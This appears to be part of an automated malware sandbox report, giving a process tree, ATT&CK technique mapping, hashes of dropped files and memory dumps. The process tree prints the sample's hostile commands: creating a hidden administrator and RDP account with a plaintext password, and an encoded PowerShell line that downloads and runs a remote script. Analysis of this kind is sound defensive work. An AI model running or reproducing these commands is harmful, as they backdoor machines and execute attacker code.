    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4316
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4968
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3708
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1484
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3652
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3712
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1932
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:740
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2848
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:3764

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:4804
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1236

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 7RTyun7K /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3548
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 7RTyun7K /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 7RTyun7K /add
    3⤵
    PID:1284

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1128
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1192
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:2744

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" DBXSZVGV$ /ADD
1⤵
PID:4404
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" DBXSZVGV$ /ADD
  2⤵
  PID:1804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" DBXSZVGV$ /ADD
    3⤵
    PID:1008

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:3032
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:2824
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1064

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 7RTyun7K
1⤵
PID:2964
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 7RTyun7K
  2⤵
  PID:3604
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 7RTyun7K
    3⤵
    PID:4412

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:5024
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious use of AdjustPrivilegeToken
  PID:940

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1892
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3784

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3240
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES8CFE.tmp

Filesize
1KB

MD5
15efe066275310bb5d36dff540af7f95

SHA1
21fcaef27cfdf49e42f0e39c8a9bc353d1bc1314

SHA256
1ed3d66aa6152d4b63b1b8066e21e9ca99c589364bfdf502a7bdd6ae3960c567

SHA512
7eeb52831df46b96ed9604e8d9c9eca957f53663bd535a7ddcee37dcda36844dd7db97d08faf8b536eb4d097513939b0d56a43a40b0149c8a3ff2df7243e2f18

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wnz31twz.1zw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

Filesize
2.5MB

MD5
9d21abc1a799ae0ea31258d563532295

SHA1
a9cde90ba328e30a3eb7a5c410b304a4ae09cdba

SHA256
8075e676d039b5791405f3ab00787a16199920dfe025ff04359b953565bf6f2f

SHA512
b9324c8b4af372a89aaa8c864dab88e74fdd820b28b6fe03897151e23de01b0a0857959e0e023340e4dd18ba0a6dad2faaf365580769b3a473070457b72b3065

Download Submit
C:\Users\Admin\AppData\Local\Temp\mjljrh5x\mjljrh5x.dll

Filesize
3KB

MD5
a9d258359032cb6fde7f971d4efe172b

SHA1
93407412b1b183bda3e051e4dea356ea47543c65

SHA256
2f27e8490f9be8048336cbe7585bbed11b0caecd37cdd2c4b7d88dafcd6295bb

SHA512
ae9e8e772deba9a1293ebd5251efa1b978bd4b48aa8ab04e6ed4f7a152b33a756428839ee4e44fe0c9abf6d403d7fe1ad562c54927c388484950f81cf1b06a5c

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

Filesize
1KB

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

Download Submit
C:\Windows\Branding\mediasrv.png

Filesize
60KB

MD5
2997902dba8aefe9e872b14c2bfb584b

SHA1
cca608ebdde64a12dca56b2bd4864089857eba01

SHA256
537ab9c5f678410f21c063f11f4a894cc15025a5590199716a01bbf365dc0e50

SHA512
4fc959cbf5bebfcb5a32fdebd2ceec8943f9d3d0ffcaed236b2d73b680c5c5f6c85d5ad3d192d7d565f4b2fe07fb87321a8036a304147df2b7f45936ff5f9fc1

Download Submit
C:\Windows\Branding\mediasvc.png

Filesize
743KB

MD5
9119f61ba0d487585a8fd5aaa4198a9a

SHA1
1ff2e337e5d1547d9e1824062500f743aae999db

SHA256
6a3da788a78fc2024fbfb135624047a7d15edcae3798a3cb0e87fbab740d70f1

SHA512
322e3e0006a3015c0495b76bdf9125285e6a6dd2f84d69996e4d95cbc73449269b7945ccccad465d417394075bc69f46f91ad1eb95f717958977cb88139267ab

Download Submit
C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIDC08.tmp

Filesize
24KB

MD5
d0e162c0bd0629323ebb1ed88df890d6

SHA1
cf3fd2652cdb6ff86d1df215977454390ed4d7bc

SHA256
3e6520cd56070637daa5c3d596e57e6b5e3bd1a25a08804ccea1ce4f50358744

SHA512
a9c82f1116fce7052d1c45984e87b8f3b9f9afeb16be558fd1ecbd54327350344f37f32bc5d4baabd3e1cf3ac0de75c8ba569c1e34aaf1094cd04641d137c117

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\mjljrh5x\CSCC9632A9A8A3A4642992C2BF8CFD52A1.TMP

Filesize
652B

MD5
6a20b23acf3105c8a73c985826dde54d

SHA1
15ff26a87cd1afb8076cdc2afb9ddc20b9b28032

SHA256
286f2ef1c5f50ee7cb18ce97133287caa2cefc4fe184793241e6c424bfa8bf3b

SHA512
c68da20b8e62a8fe4bc414a27669e7cd3e5f2d1b23b4eb469f40295215074f9700d591f0063cdedf660a3803bafd27d9c768588d377fdb831972202a1013830e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\mjljrh5x\mjljrh5x.0.cs

Filesize
424B

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\mjljrh5x\mjljrh5x.cmdline

Filesize
369B

MD5
2797606f52621efadb42cb66d2ad6184

SHA1
5145f8edfae7b7e516439117ef2e6922ef16452d

SHA256
270ca0259c581d98d5579e1601a15dfb490817d4ce8f8195f9e81af05d4da650

SHA512
793f62dedc4ba4cb4384c5d4d3f8080e3255870928ff8bd3d205c34465cdb19b7a304025cf34425a3ab79695a31631ebe78515e8b41069130ef75490badc2b4b

Download Submit
memory/708-77-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

Filesize
10.8MB

Download
memory/708-68-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

Filesize
10.8MB

Download
memory/708-73-0x000001F630400000-0x000001F630410000-memory.dmp

Filesize
64KB

Download
memory/708-74-0x000001F630400000-0x000001F630410000-memory.dmp

Filesize
64KB

Download
memory/708-76-0x000001F630400000-0x000001F630410000-memory.dmp

Filesize
64KB

Download
memory/3220-154-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

Filesize
10.8MB

Download
memory/3220-50-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

Filesize
10.8MB

Download
memory/3220-0-0x000002036D530000-0x000002036D934000-memory.dmp

Filesize
4.0MB

Download
memory/3220-1-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

Filesize
10.8MB

Download
memory/3220-3-0x000002036D110000-0x000002036D120000-memory.dmp

Filesize
64KB

Download
memory/3220-2-0x000002036D110000-0x000002036D120000-memory.dmp

Filesize
64KB

Download
memory/3764-46-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

Filesize
10.8MB

Download
memory/3764-47-0x000001CC46A00000-0x000001CC46A10000-memory.dmp

Filesize
64KB

Download
memory/3764-48-0x000001CC46A00000-0x000001CC46A10000-memory.dmp

Filesize
64KB

Download
memory/3764-49-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

Filesize
10.8MB

Download
memory/4148-60-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

Filesize
10.8MB

Download
memory/4148-61-0x000002A411860000-0x000002A411870000-memory.dmp

Filesize
64KB

Download
memory/4148-62-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

Filesize
10.8MB

Download
memory/4612-32-0x0000020ECCFD0000-0x0000020ECCFD8000-memory.dmp

Filesize
32KB

Download
memory/4612-18-0x0000020EE5330000-0x0000020EE5340000-memory.dmp

Filesize
64KB

Download
memory/4612-78-0x00007FFC89FA0000-0x00007FFC89FB9000-memory.dmp

Filesize
100KB

Download
memory/4612-79-0x0000020EE5330000-0x0000020EE5340000-memory.dmp

Filesize
64KB

Download
memory/4612-80-0x0000020EE5330000-0x0000020EE5340000-memory.dmp

Filesize
64KB

Download
memory/4612-81-0x0000020EE5330000-0x0000020EE5340000-memory.dmp

Filesize
64KB

Download
memory/4612-35-0x0000020EE5930000-0x0000020EE5AA6000-memory.dmp

Filesize
1.5MB

Download
memory/4612-87-0x0000020EE5330000-0x0000020EE5340000-memory.dmp

Filesize
64KB

Download
memory/4612-75-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

Filesize
10.8MB

Download
memory/4612-36-0x0000020EE5CC0000-0x0000020EE5ECA000-memory.dmp

Filesize
2.0MB

Download
memory/4612-13-0x0000020ECCFE0000-0x0000020ECD002000-memory.dmp

Filesize
136KB

Download
memory/4612-6-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

Filesize
10.8MB

Download
memory/4612-152-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

Filesize
10.8MB

Download
memory/4612-151-0x00007FFC89FA0000-0x00007FFC89FB9000-memory.dmp

Filesize
100KB

Download
memory/4612-7-0x0000020EE5330000-0x0000020EE5340000-memory.dmp

Filesize
64KB

Download
memory/4612-148-0x0000020EE5330000-0x0000020EE5340000-memory.dmp

Filesize
64KB

Download
memory/5064-147-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

Filesize
10.8MB

Download
memory/5064-114-0x000001FEEDA60000-0x000001FEEDA70000-memory.dmp

Filesize
64KB

Download
memory/5064-104-0x000001FEEDA60000-0x000001FEEDA70000-memory.dmp

Filesize
64KB

Download
memory/5064-103-0x00007FFC7B950000-0x00007FFC7C411000-memory.dmp

Filesize
10.8MB

Download